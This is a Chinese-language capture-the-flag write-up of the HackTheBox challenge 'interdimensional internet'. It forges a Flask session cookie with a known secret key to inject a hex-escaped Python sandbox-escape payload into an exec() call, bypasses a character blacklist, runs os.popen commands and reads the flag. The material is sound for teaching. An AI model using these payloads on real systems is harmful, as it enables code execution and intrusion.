【HackTheBox】攻克靶机实战interdimensional internet攻略分享
2023-5-18 15:2:36 Author: www.secpulse.com(查看原文) 阅读量:27 收藏

如果你喜欢我的文章,欢迎关注公众号:安全女巫
转载请注明出处:
https://mp.weixin.qq.com/s/cfcAq6vG-e2dB6mgymfcOQ

【HackTheBox】攻克靶机实战interdimensional internet攻略分享

信息收集

访问网站,查看页面基本信息

访问页面,页面无超链接等其他功能。控制台、网络均无可利用点.

抓包,看sessionjwt特征

 

将之解码后发现measurementsbase64特征,解码后得11+39=50

与响应页面中显示的数字一致。

响应包的session解码后参数可展示在响应页面。请求包session为空,再次刷新页面,相应包session与展示数字一并改变。

只能说发现了响应包session与页面展示规律。并无突破思路。

目录扫描

可见/debug超链接

查看源代码

访问/debug页面,可见网站源码

多次出现/debug的提示,证明该处应为关键突破点。

代码分析

calc函数包含名命令执行exec()exec中为session2个参数拼成的新字符串。

由此,可构造session进行jwt编码,以执行命令。

漏洞利用

满足条件的payload,构造过程如下:

1》构造执行命令

2》绕过黑名单

3ingredientmeasurements均不为空,且20<=recipe<300

4Flask客户端session伪造

5》优化执行命令

6》获得flag

1》构造执行命令

exec执行print成功

通过命令执行漏洞获得flag。突破口应是ls列出文件,定位flag文件,并进行读取flag

执行ls

本地尝试exec执行ls

报错:__import__ not found

Googlessti hackticks python

将语句写入脚本

说明().__class__.__base__.__subclasses__()warnings.catch_warnings可以导入import os成功执行命令。

为简化语句,打印出warnings.catch_warnings所在数组的位置:60

语句简化为:

().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("dir").read()

线上环境也可能是linux,所以也可能是:

().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("ls").read()

这边猜测是linux环境。

2》绕过黑名单

不能包含以下四个字符[(_.

用以下方式绕过。\282print转为(

同样方式转换

\x28 (

\x5b [

\x5f _

\x2e .

故执行命令语句经转换后为:

\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)

3ingredientmeasurements均不为空,且20<=recipe<300

{'ingredient': b'\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'7-4'}

4Flask客户端session伪造

git clone https://github.com/noraj/flask-session-cookie-manager.git

cd flask-session-cookie-manager/

python3 -m pip install Flask

访问页面抓包获得session进行解码

python3 flask_session_cookie_manager3.py decode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -c "eyJpbmdyZWRpZW50Ijp7IiBiIjoiYzNweGFXSnBaMlowY2c9PSJ9LCJtZWFzdXJlbWVudHMiOnsiIGIiOiJNelVyTkRnPSJ9fQ.YrMHfA.XME1AvAKBalRQ0n74pr-dvx4I3U"

解码为:

{'ingredient': b'szqibigftr', 'measurements': b'35+48'}

使用如下命令进行编码:

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b' \x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'35+48'}"

编码后的session重新发请求 

说明过滤的[(_.关键字无效。需进一步进行语句转换。

防止\被转义,变成\\

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b'\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2epopen\\x28"ls")\\x2eread\\x28)', 'measurements': b'35+48'}" 

转义问题已经解决,不报错了。但是返回包cookie没了。执行ls后的结果如何能展示出来?

5》优化执行命令

使用flask.sessionls命令执行的结果展示在响应包中的sessionx参数,将之打印。

exec"i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()"#

转换为

exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#

Session编码

python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient':b'exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#', 'measurements': b'4+25'}" 

响应包中session解码 

获得session响应包中x参数,即为ls执行返回内容。

存在文件totally_not_a_loooooooong_flaaaaag

6》获得flag

构造session以查看文件内容。 

根据响应包中session解码获得响应包中session参数x的内容,即为flag

本文作者:公众号:安全女巫

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/200516.html


文章来源: https://www.secpulse.com/archives/200516.html
如有侵权请联系:admin#unsafe.sh